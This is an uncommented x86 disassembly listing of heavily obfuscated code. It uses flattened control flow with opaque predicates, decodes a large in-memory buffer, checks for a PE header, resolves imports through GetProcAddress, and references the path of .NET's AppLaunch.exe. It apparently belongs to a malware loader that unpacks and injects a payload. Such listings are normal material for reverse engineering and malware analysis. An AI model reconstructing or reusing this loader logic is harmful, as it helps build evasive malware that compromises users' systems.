mov ecx, dword [ebp - 0x4c054]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0xea4ce127
jmp 0x401800
mov eax, dword [ebp - 0x4c094]
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov dword [ebp - 0x4c1a0], edi
mov dword [ebp - 0x4c19c], eax
mov eax, 0x985d2cb4
jmp 0x401800
mov eax, 0xc69c7c6e
jmp 0x401800
mov eax, dword [0x4b03e8]
mov ebx, 0x9495b728
mov esi, 0xcf96876a
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0xcf96876a
jmp 0x4017db
mov eax, dword [ebp - 0x4c094]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0xc1eb759a
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x56331f75
cmovne esi, ebx
test edx, ecx
mov ecx, esi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0x4c094]
mov dword [ebp - 0x4c0c8], 0
mov dword [ebp - 0x4c028], 1
cmovge ecx, esi
mov eax, ecx
jmp 0x401800
mov eax, dword [ebp - 0x4c10c]
mov ecx, dword [ebp - 0x4c108]
mov dword [eax], ecx
mov eax, dword [ebp - 0x4c04c]
mov eax, dword [ebp - 0x4c070]
mov eax, 0x756814f9
jmp 0x401800
mov eax, dword [ebp - 0x4c0c4]
mov eax, dword [ebp - 0x4c0c4]
mov eax, dword [ebp - 0x4c0c4]
vmovups ymm0, ymmword [0x4a3270]
vmovups ymm1, ymmword [0x4a3258]
vmovups ymm2, ymmword [0x4a3238]
mov eax, dword [eax + 0xc]
mov ecx, dword [ebp - 0x4c090]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c050]
mov eax, dword [ebp - 0x4c090]
mov eax, dword [eax]
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x4c050]
add eax, 0xfffffff8
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c08c]
mov ecx, dword [ecx]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c050]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x4c054]
mov eax, dword [ebp - 0x4c050]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c054]
add eax, 0x24
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c074]
mov eax, dword [ebp - 0x4c074]
vmovups ymmword [eax + 0x58], ymm0
vmovups ymmword [eax + 0x40], ymm1
vmovups ymm1, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymmword [eax + 0x20], ymm2
vmovups ymmword [eax], ymm1
mov eax, dword [ebp - 0x4c060]
cmp dword [edi + 0xe8], 0
mov eax, dword [ebp - 0x4c060]
setne byte [eax]
mov eax, dword [ebp - 0x4c098]
mov eax, dword [ebp - 0x4c060]
mov eax, 0xc2cc20af
jmp 0x401800
mov eax, dword [0x4b03e8]
mov esi, 0x5aa13511
mov ebx, 0x222bef7b
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov eax, 0x222bef7b
jmp 0x4054fe
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0x81921355
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x59f42ab9
cmovne ebx, esi
test edx, eax
mov eax, ebx
cmove eax, esi
cmp ecx, 0xa
lea ecx, [edi + 0x78]
cmovge eax, ebx
mov dword [ebp - 0x4c120], ecx
jmp 0x401800
mov eax, 0x17c6a32d
jmp 0x401800
mov eax, dword [ebp - 0x4c04c]
mov eax, dword [eax]
mov dword [ebp - 0x4c108], eax
mov eax, dword [ebp - 0x4c01c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x4c06c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x4c038]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*4 + 0x10]
mov ecx, dword [ebp - 0x4c030]
mov ecx, dword [ecx]
lea eax, [eax + ecx*4]
mov dword [ebp - 0x4c10c], eax
mov eax, 0xe0ec8295
jmp 0x401800
mov eax, dword [ebp - 0x4c150]
mov ecx, 0xb916e64e
cmp eax, dword [ebp - 0x4c154]
mov eax, 0xa8ae89e0
cmovb eax, ecx
jmp 0x401800
mov eax, dword [ebp - 0x4c078]
mov eax, dword [ebp - 0x4c078]
mov eax, dword [ebp - 0x4c078]
mov eax, dword [ebp - 0x4c078]
mov eax, dword [ebp - 0x4c078]
mov eax, dword [ebp - 0x4c078]
mov eax, 0x2fd516ef
jmp 0x401800
mov eax, 0x532dc4b8
jmp 0x401800
mov eax, 0xbec14b4a
jmp 0x401800
cmp byte [ebp - 0x4c082], 0
mov eax, 0x91db37d9
mov ecx, 0xe54af137
cmovne eax, ecx
jmp 0x401800
mov eax, 0xc7cf5bfb
jmp 0x401800
mov edx, dword [0x4b03e8]
mov eax, dword [0x4b03e4]
mov esi, 0x1f67e33c
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x800d308a
cmovne ebx, esi
test edx, ecx
mov ecx, ebx
cmove ecx, esi
cmp eax, 0xa
cmovge ecx, ebx
mov eax, ecx
jmp 0x401800
mov dword [ebp - 0x4c028], 0xa
mov eax, 0x1149aa98
jmp 0x401800
mov eax, dword [ebp - 0x4c034]
mov eax, 0xccc04e5d
jmp 0x401800
mov eax, 0x227de85a
jmp 0x401800
mov eax, dword [ebp - 0x4c024]
mov eax, dword [eax]
mov dword [ebp - 0x4c078], eax
mov eax, 0x2c3c505d
jmp 0x401800
mov eax, 0x5aa13511
jmp 0x401800
push dword [ebp - 0x4c100]
push dword [ebp - 0x4c104]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c04c]
mov dword [ecx], eax
mov eax, 0x6b302331
jmp 0x401800
movzx eax, word [edi + 0x14]
mov ecx, dword [ebp - 0x4c09c]
mov ecx, dword [ebp - 0x4c09c]
mov ecx, dword [ebp - 0x4c09c]
add eax, dword [ebp - 0x4c09c]
mov ecx, dword [ebp - 0x4c02c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x4c034]
mov eax, dword [ebp - 0x4c034]
mov dword [eax], 0
mov eax, 0x1802636b
jmp 0x401800
mov eax, dword [ebp - 0x4c0ac]
mov eax, dword [eax]
mov dword [ebp - 0x4c164], eax
mov eax, 0xe3848a65
jmp 0x401800
mov eax, 0xbed1bde2
jmp 0x401800
mov eax, 0x4ca1aa8e
jmp 0x401800
mov edx, dword [0x4b03e8]
mov ecx, dword [0x4b03e4]
mov esi, 0x6221127d
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xf875b604
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x4c064]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x4c150], ecx
mov ecx, dword [ebp - 0x4c058]
add ecx, 4
mov dword [ebp - 0x4c0ec], ecx
jmp 0x401800
cmp byte [ebp - 0x4c07a], 0
mov eax, 0x43cf71af
mov ecx, 0x4eddd72f
cmovne eax, ecx
jmp 0x401800
lea esi, [ebp - 0x4c010]
mov dword [ebp - 0x4c014], 0x4c000
mov ebx, 0x339a8c92
mov dword [ebp - 0x4c018], esi
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x4c014]
mov edi, dword [ebp - 0x4c018]
not byte [edi]
add byte [edi], 0x43
mov eax, 0xff
sub byte [edi], 0x56
imul byte [edi]
inc edi
loop 0x405a4b
mov ecx, dword [ebp - 0x4bfd4]
mov eax, dword [0x4b03e8]
mov edi, 0x8af3fe18
cmp dword [ecx + esi], 0x4550
lea edx, [eax - 1]
setne byte [ebp - 0x4c079]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
mov eax, 0x8af3fe18
sete dl
cmove eax, ebx
cmp dword [0x4b03e4], 0xa
setl dh
cmovge eax, edi
lea edi, [ecx + esi]
xor dh, dl
cmovne eax, ebx
jmp 0x401800
cmp eax, 0xbec14b4a
jne 0x401800
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.00438710
mov eax, dword [ebp - 0x4c0c8]
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret